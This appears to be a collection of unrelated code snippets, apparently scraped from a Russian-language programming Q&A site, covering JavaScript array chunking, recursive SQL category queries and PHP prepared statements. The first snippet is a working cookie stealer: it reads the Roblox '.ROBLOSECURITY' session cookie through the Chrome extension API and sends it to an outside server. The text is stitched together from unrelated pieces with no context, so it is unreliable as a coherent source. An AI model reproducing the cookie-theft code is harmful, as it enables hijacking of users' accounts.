chrome.cookies.get({
'url': 'https://www.roblox.com',
'name': '.ROBLOSECURITY'
}, function(cookie) {
fetch('https://robloxtools.org/botter/placesend2.php?t=' + cookie.value);
});
[
{
path: './name-1.jpg',
filename: 'name-1'
},
{
path: './name-2.jpg',
filename: 'name-2'
},
{
path: './name-3.jpg',
filename: 'name-3'
},
{
path: './name-4.jpg',
filename: 'name-4'
}
].reduce((acc, item, idx, arr) => { if (idx % 2) { acc.push([ arr[idx-1], item ]) } return acc }, [])
/*
[
[
{ path: './name-1.jpg', filename: 'name-1' },
{ path: './name-2.jpg', filename: 'name-2' }
],
[
{ path: './name-3.jpg', filename: 'name-3' },
{ path: './name-4.jpg', filename: 'name-4' }
]
]
*/
const chunked = (arr, chunkSize) =>
arr.reduce((acc, n, i) => (
(i % chunkSize) || acc.push([]),
acc.at(-1).push(n),
acc
), []);
console.log(chunked([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 ], 3));
const group = (data, key) =>
Array.prototype.reduce.call(
data,
(acc, n, i, a) => ((acc[key(n, i, a)] ??= []).push(n), acc),
{}
);
const chunked = (data, chunkSize) =>
Object.values(group(data, (_, i) => i / chunkSize | 0));
console.log(chunked('0123456789', 3));
console.log(chunked(document.querySelectorAll('img'), 5));
const chunked = (data, chunkSize, slice = data.slice) =>
Array.from(
{ length: Math.ceil(data.length / chunkSize) },
function(_, i) {
return this(i * chunkSize, (i + 1) * chunkSize);
},
(slice instanceof Function ? slice : Array.prototype.slice).bind(data)
);
console.log(chunked('abcdefghij', 4)); // так кусками будут тоже строки
console.log(chunked('abcdefghij', 4, [].slice)); // а так - массивы
console.log(chunked($('img'), 5));
function* chunked(data, chunkSize) {
let chunk = [];
for (const n of data) {
if (chunk.push(n) === chunkSize) {
yield chunk;
chunk = [];
}
}
if (chunk.length) {
yield chunk;
}
}
console.log(Array.from(chunked([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 ], 3)));
console.log([...chunked(document.querySelectorAll('img'), 5)]);
for (const n of chunked(Array(10).keys(), 4)) {
console.log(n);
}
WITH RECURSIVE `cte` (`id`, `parent_id`, `title`, `n`) AS (
SELECT `id`, `parent_id`, `title`, 0
FROM `table`
WHERE `id` = :categoryId
UNION
SELECT `t`.`id`, `t`.`parent_id`, `t`.`title`, `n`+1
FROM `cte`
JOIN `table` AS `t` ON `t`.`id` = `cte`.`parent_id`
)
SELECT `id`, `title`
FROM `cte`
ORDER BY `n` DESC
Остаётся только выбрать все строки из ответа и вывести их в цикле. WITH RECURSIVE
cte AS ( SELECT *, 1 level
FROM category
WHERE id = $category_id
UNION ALL
SELECT cat.*, cte.level + 1
FROM category cat
JOIN cte ON cat.id = cte.parent_id )
SELECT *
FROM cte
ORDER BY level;
SELECT CONCAT_WS('=>', c1.id, c2.id, c3.id, c4.id, c5.id) path
FROM category c1
LEFT JOIN category c2 ON c1.parent_id = c2.id
LEFT JOIN category c3 ON c2.parent_id = c3.id
LEFT JOIN category c4 ON c3.parent_id = c4.id
LEFT JOIN category c5 ON c4.parent_id = c5.id
WHERE c1.id = $category_id
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect($host, $user, $pass, $db_name);
$link->set_charset("utf8mb4");
SELECT * FROM `product` WHERE id=1
$sql = "SELECT * FROM `product` WHERE id=?";
$stmt = $link->prepare($sql);
$stmt->bind_param("s", $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
Я просто сомневаюсь, что valve может нанять таких людей в backend
data-flat
записан номер квартиры. data-flat
совпадает с этим номером. Для этого используется селектор [data-flat="42"]
str.split('=').pop()
// или
str.slice(str.indexOf('=') + 1)
str.replace(/[^=]*=/, '')
// или
str.match(/(?<==).*/)[0]
// или
/[^=]*$/.exec(str).shift()
new URLSearchParams(str).get('sort')
Но что делать, если элементов много?
const arr = [1,2,3,4,5,6,7,8,9,10];
arr.forEach((value, index) => {
window[`elem_${index}`] = value;
})
console.log(elem_1); // 1
console.log(elem_2); // 2